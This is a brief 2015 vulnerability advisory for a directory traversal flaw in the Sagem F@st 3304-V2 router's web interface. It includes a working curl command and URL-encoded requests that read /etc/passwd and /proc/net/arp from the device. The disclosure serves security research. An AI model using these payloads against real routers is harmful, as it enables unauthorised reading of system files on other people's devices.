# Title: Sagem F@st 3304-V2 Directory Traversal Vulnerability# Vendor : http://www.sagemcom.com# Severity : High# Tested Router: Sagem F@st 3304-V2 (3304, other versions may also be affected)# Date : 2015-03-01# Author : Loudiyi Mohamed# Contact: Loudiyi.2010@gmail.com# Blog : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603# Vulnerability description:
Sagem Fast is an ADSL Router using a web management interface in order to change configuration
settings. The router is Sagem Fast is an ADSL Router using a web management interface in order
to change configuration settings.
The web server of the router is vulnerable to directory traversal which allows reading files
by sending encoded '../' requests.
The vulnerability may be tested with the following command-line:
curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd
Or directly from navigateur:
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp
